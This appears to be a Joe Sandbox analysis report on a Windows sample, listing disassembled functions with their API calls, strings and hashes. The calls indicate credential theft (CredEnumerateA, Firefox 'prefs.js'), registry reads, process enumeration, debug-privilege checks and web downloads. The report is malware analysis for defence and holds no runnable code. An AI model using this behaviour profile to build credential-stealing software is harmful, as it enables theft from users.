String ID: content$directory_iterator::directory_iterator$exists$filename$status
API String ID: 1254564140-3429737954
Opcode ID: 7d1c13afdd55cbf7c0d85b4a73c477f2369bae206a74cf1323a5b3af0f6657ea
Instruction ID: 7a5cba5dc03c25bb822d0dd9b4d68fe294b292d08ea8027891a210a2d07b54e3
Opcode Fuzzy Hash: 7d1c13afdd55cbf7c0d85b4a73c477f2369bae206a74cf1323a5b3af0f6657ea
Instruction Fuzzy Hash: 69827E72A19BC58ADB208F25D8803ED73B1FB89798F545325EAAD47B99EF38D544C300

Function 00007FF6F1D820B0 Relevance: 28.7, APIs: 12, Strings: 4, Instructions: 684
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1D82409
RegQueryValueExA.ADVAPI32 ref: 00007FF6F1D8244E
RegCloseKey.ADVAPI32 ref: 00007FF6F1D824F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C2E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C4F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C71
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C77
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C7D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C83
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C8F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D82C95

Strings

exists, xrefs: 00007FF6F1D82C42
content, xrefs: 00007FF6F1D82915
directory_iterator::directory_iterator, xrefs: 00007FF6F1D82C64
filename, xrefs: 00007FF6F1D82787

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
String ID: content$directory_iterator::directory_iterator$exists$filename
API String ID: 1254564140-1400943384
Opcode ID: 9f5b94a6d0cea37691d2751b370f6b3d64bf25a2cf03a9f984be2f4356e4838d
Instruction ID: afa92ff154555d99050037b06255743fbd3a0b1844fd862e7eb9d63af3f6ad8a
Opcode Fuzzy Hash: 9f5b94a6d0cea37691d2751b370f6b3d64bf25a2cf03a9f984be2f4356e4838d
Instruction Fuzzy Hash: 84725D72A15BC589DB108F35D8803E977B0FB89798F509325EAAD57B99EF38D680C340

Function 00007FF6F1DBD080 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

status, xrefs: 00007FF6F1DBDE11, 00007FF6F1DBDE33, 00007FF6F1DBDE5B, 00007FF6F1DBDE83
exists, xrefs: 00007FF6F1DBF48D
cannot use push_back() with , xrefs: 00007FF6F1DBDDD5
directory_iterator::directory_iterator, xrefs: 00007FF6F1DBDE23, 00007FF6F1DBF4A4
prefs.js, xrefs: 00007FF6F1DBE5E2

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID:
String ID: cannot use push_back() with $directory_iterator::directory_iterator$exists$prefs.js$status
API String ID: 0-2713369562
Opcode ID: de6baea8f9a6e51e17e32bfa88ea75e63669f65a2911f034b9996c5c67c448b3
Instruction ID: 166f21520e4a2d0fff53594aafecc12cdc063546d3a4879eb5ee70bdcdb4ddaf
Opcode Fuzzy Hash: de6baea8f9a6e51e17e32bfa88ea75e63669f65a2911f034b9996c5c67c448b3
Instruction Fuzzy Hash: E8522832909FC584D7B19B15E8813EAB3A4FBC9794F505226DADD82B99EF3CD194CB00

Function 00007FF6F1E0B5B0 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32 ref: 00007FF6F1E0B65D
GetLastError.KERNEL32 ref: 00007FF6F1E0B667
FindFirstFileW.KERNEL32 ref: 00007FF6F1E0B67E
GetLastError.KERNEL32 ref: 00007FF6F1E0B68A
FindClose.KERNEL32 ref: 00007FF6F1E0B698
__std_fs_open_handle.LIBCPMT ref: 00007FF6F1E0B72B
CloseHandle.KERNEL32 ref: 00007FF6F1E0B741
CloseHandle.KERNEL32 ref: 00007FF6F1E0B8B4

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: ae06ef96b620ec177ea6819a3a1ac38214177ad565b87e13f1ccf53398ca1eb7
Instruction ID: ca49f0ef26200f7e2c492a2e9109ffb1d96bf1f61a3771dfa5ab6c68e2a4ead3
Opcode Fuzzy Hash: ae06ef96b620ec177ea6819a3a1ac38214177ad565b87e13f1ccf53398ca1eb7
Instruction Fuzzy Hash: 38916E3AA08A4386E7648B25A81467A7290BF957F4F186730D97F877E4FF3CE5058B40

Function 00007FF6F1D8CA10 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 671
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CredEnumerateA.ADVAPI32 ref: 00007FF6F1D8CA72
CredFree.ADVAPI32 ref: 00007FF6F1D8D496
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D4CC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D520
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D526
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D52C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D532
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D538
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D53E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D544
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8D54A

Strings

cannot use push_back() with , xrefs: 00007FF6F1D8D4E4

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Cred$EnumerateFree
String ID: cannot use push_back() with
API String ID: 1347986415-4122110429
Opcode ID: 590a931b7cf838f233e7f938dda60a37c5c44dfe0319c7dcb5131d4cd37b6d9b
Instruction ID: a1791636cde7579a7cff9373390c761a1674304e4b88b3a6a58a5eadddf8e73b
Opcode Fuzzy Hash: 590a931b7cf838f233e7f938dda60a37c5c44dfe0319c7dcb5131d4cd37b6d9b
Instruction Fuzzy Hash: B0624072A08BC585E7208F25D8903ED7771F7897A8F505325EAAD57AD9EF38D284C700

Function 00007FF6F1D99F80 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 417
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1D9A134
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1D9A142
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1D9A3C5
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF6F1D9A3D3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A570
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A576
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A599
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A59F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A5A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A5C8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9A5CE

Strings

value, xrefs: 00007FF6F1D9A05A, 00007FF6F1D9A2F3

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 009ab91307f0b354080e9b7c0d63b7709cf52707709ce36b49185635711d943d
Instruction ID: 392f8fedc821d13a32326c2ef64092089c570f325e15a93456213e2e5721a905
Opcode Fuzzy Hash: 009ab91307f0b354080e9b7c0d63b7709cf52707709ce36b49185635711d943d
Instruction Fuzzy Hash: 44029063A18BC185EB40DB74D4A02AD7771EB857E4F505331FAAD92ADAEF6CE184C300

Function 00007FF6F1DCC600 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6F1DCF820: GetCurrentProcess.KERNEL32 ref: 00007FF6F1DCF85B
Part of subcall function 00007FF6F1DCF820: OpenProcessToken.ADVAPI32 ref: 00007FF6F1DCF86E
Part of subcall function 00007FF6F1DCF820: GetTokenInformation.KERNELBASE ref: 00007FF6F1DCF8AA
Part of subcall function 00007FF6F1DCF820: CloseHandle.KERNEL32 ref: 00007FF6F1DCF8CB

ExitProcess.KERNEL32 ref: 00007FF6F1DCC647
OpenMutexA.KERNEL32 ref: 00007FF6F1DCC762
ExitProcess.KERNEL32 ref: 00007FF6F1DCC772

Part of subcall function 00007FF6F1DCFB60: GetModuleFileNameW.KERNEL32 ref: 00007FF6F1DCFBAA

Part of subcall function 00007FF6F1DDA780: CoInitializeEx.OLE32 ref: 00007FF6F1DDA7EA

Strings

SeDebugPrivilege, xrefs: 00007FF6F1DCC64E
SeImpersonatePrivilege, xrefs: 00007FF6F1DCC65A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Process$ExitOpenToken$CloseCurrentFileHandleInformationInitializeModuleMutexName
String ID: SeDebugPrivilege$SeImpersonatePrivilege
API String ID: 3348294976-3768118664
Opcode ID: fdb5abae78c5590c4d6b8baa5b6d6c2b29b9181fb2dcc2fe967658aedaec6400
Instruction ID: da217f13cdd8afab3bc545cb1b4f8114106ff8c6f9712456318efd2270ec694f
Opcode Fuzzy Hash: fdb5abae78c5590c4d6b8baa5b6d6c2b29b9181fb2dcc2fe967658aedaec6400
Instruction Fuzzy Hash: CC619122E1CA8642EB10AB65A4513BA63B0FFC57D0F505735E6AEC26D6FF2CE0418B00

Function 00007FF6F1DD5240 Relevance: 16.9, APIs: 11, Instructions: 408networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 00007FF6F1DD540B
InternetOpenUrlA.WININET ref: 00007FF6F1DD54E8
HttpQueryInfoW.WININET ref: 00007FF6F1DD5549
HttpQueryInfoW.WININET ref: 00007FF6F1DD55E2
InternetQueryDataAvailable.WININET ref: 00007FF6F1DD5626
InternetReadFile.WININET ref: 00007FF6F1DD56E9
InternetQueryDataAvailable.WININET ref: 00007FF6F1DD57B4
InternetCloseHandle.WININET ref: 00007FF6F1DD585E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD58AF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD58B5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1DD58BB

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Internet$Query$AvailableDataHttpInfoOpen_invalid_parameter_noinfo_noreturn$CloseConcurrency::cancel_current_taskFileHandleRead
String ID:
API String ID: 1352168858-0
Opcode ID: a57db0754635a1d44e2be10434760b23075835c2ad68753c080c0da192c3cdcc
Instruction ID: 437c048cbcacde3ce112a918208b9bffdcd65c7e48219d7952385e24a1883918
Opcode Fuzzy Hash: a57db0754635a1d44e2be10434760b23075835c2ad68753c080c0da192c3cdcc
Instruction Fuzzy Hash: AD024132A18B9586EB10CB65E84036E77B5FB957D4F104225EEAD97B98EF7CD180CB00

Function 00007FF6F1D8E610 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 328processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6F1D8E65A
Process32FirstW.KERNEL32 ref: 00007FF6F1D8E69C
Process32NextW.KERNEL32 ref: 00007FF6F1D8E893
CloseHandle.KERNEL32 ref: 00007FF6F1D8EB0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8EBA3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8EBA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8EBAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8EBB5

Strings

[PID: , xrefs: 00007FF6F1D8E6DE

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: [PID:
API String ID: 1946380282-2210602247
Opcode ID: 4c24e0b3fb227cc9e4ffa0027738b4947391286fa535c02315df1d0c3b3d45e4
Instruction ID: 779534e0d2df9b4c8c841d31c1966ce80bc4f06ed1fc8c4100ebd923c28095f1
Opcode Fuzzy Hash: 4c24e0b3fb227cc9e4ffa0027738b4947391286fa535c02315df1d0c3b3d45e4
Instruction Fuzzy Hash: 34E1A272A18BC186EB209B25E8903AD77B5F7857E4F505325EAAD47BD9EF38D240C700

Function 00007FF6F1D8ECB0 Relevance: 15.7, APIs: 10, Instructions: 715COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9A1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9A7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9AD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9C5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9CB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8F9D7

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 38fb63e233e309ccbce14bd655863bfb560a24392900e53a5046892c4ac42b64
Instruction ID: 68833dec8532aec4ae97c6e1a280e2696306ec308de89faf653f12021f6181f4
Opcode Fuzzy Hash: 38fb63e233e309ccbce14bd655863bfb560a24392900e53a5046892c4ac42b64
Instruction Fuzzy Hash: F0724072A19BC589EB208B65E8403AD73B1F789798F505325EEEC57B99EF38D240C740

Function 00007FF6F1DCF020 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 451fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00007FF6F1DCF261
SetFilePointer.KERNEL32 ref: 00007FF6F1DCF314
ReadFile.KERNEL32 ref: 00007FF6F1DCF343
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DCF7D7

Strings

exists, xrefs: 00007FF6F1DCF7CA
ios_base::eofbit set, xrefs: 00007FF6F1DCF784
ios_base::failbit set, xrefs: 00007FF6F1DCF77D
ios_base::badbit set, xrefs: 00007FF6F1DCF771, 00007FF6F1DCF7EF

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: File$PointerReadSize_invalid_parameter_noinfo_noreturn
String ID: exists$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2478245620-15404121
Opcode ID: cdc9b60c854cdcbeaf71dfb81e76edab83bed13f15cecf9c3a3e5e36df3e413e
Instruction ID: 2747fcc6802f9d2a33a9c29b0271e1758060fb1c28f1a013b39848d1b9787fb3
Opcode Fuzzy Hash: cdc9b60c854cdcbeaf71dfb81e76edab83bed13f15cecf9c3a3e5e36df3e413e
Instruction Fuzzy Hash: 3D322532A18BC589EB24CF24D8803ED37B1FB85788F508626DA5D97B99EF78D645C700

Function 00007FF6F1DF2E3C Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 335timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6F1DF2E81

Part of subcall function 00007FF6F1DF24E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF24FC

Part of subcall function 00007FF6F1DED3C8: RtlFreeHeap.NTDLL ref: 00007FF6F1DED3DE
Part of subcall function 00007FF6F1DED3C8: GetLastError.KERNEL32 ref: 00007FF6F1DED3E8

Part of subcall function 00007FF6F1DE8284: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6F1DE8233,?,?,?,?,-2723E8D8DEBC5093,00007FF6F1DE811E), ref: 00007FF6F1DE828D
Part of subcall function 00007FF6F1DE8284: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6F1DE8233,?,?,?,?,-2723E8D8DEBC5093,00007FF6F1DE811E), ref: 00007FF6F1DE82B2

Part of subcall function 00007FF6F1DFBA84: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DFB9CF

_get_daylight.LIBCMT ref: 00007FF6F1DF2E70

Part of subcall function 00007FF6F1DF2548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF255C

_get_daylight.LIBCMT ref: 00007FF6F1DF30E6
_get_daylight.LIBCMT ref: 00007FF6F1DF30F7
_get_daylight.LIBCMT ref: 00007FF6F1DF3108
GetTimeZoneInformation.KERNEL32(00007FF6F1DF33F8), ref: 00007FF6F1DF312F

Strings

Eastern Summer Time, xrefs: 00007FF6F1DF31ED
Eastern Standard Time, xrefs: 00007FF6F1DF31D5

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: d27e707e32a7a668b79f18f39980f86f66c1361dc0c94ac41fd5faca01788e5a
Instruction ID: cb782396fbf8f2697957074ac5bea41c319d831a9391e5c2f821a19c4725d1fd
Opcode Fuzzy Hash: d27e707e32a7a668b79f18f39980f86f66c1361dc0c94ac41fd5faca01788e5a
Instruction Fuzzy Hash: DAD1B262A0825256EB209F25D8501B967B1FF84BD4F45423AEA3DCBAC6FF3CE541C340

Function 00007FF6F1E10658 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1E1023C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1E1027D
Part of subcall function 00007FF6F1E1023C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1E102FB
Part of subcall function 00007FF6F1E1023C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1E1034C

CreateFileW.KERNEL32 ref: 00007FF6F1E1075E
CreateFileW.KERNEL32 ref: 00007FF6F1E107AE
GetLastError.KERNEL32 ref: 00007FF6F1E107DE
GetFileType.KERNEL32 ref: 00007FF6F1E107F3
GetLastError.KERNEL32 ref: 00007FF6F1E107FD
CloseHandle.KERNEL32 ref: 00007FF6F1E10830
CloseHandle.KERNEL32 ref: 00007FF6F1E10993
CreateFileW.KERNEL32 ref: 00007FF6F1E109C8
GetLastError.KERNEL32 ref: 00007FF6F1E109D7

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
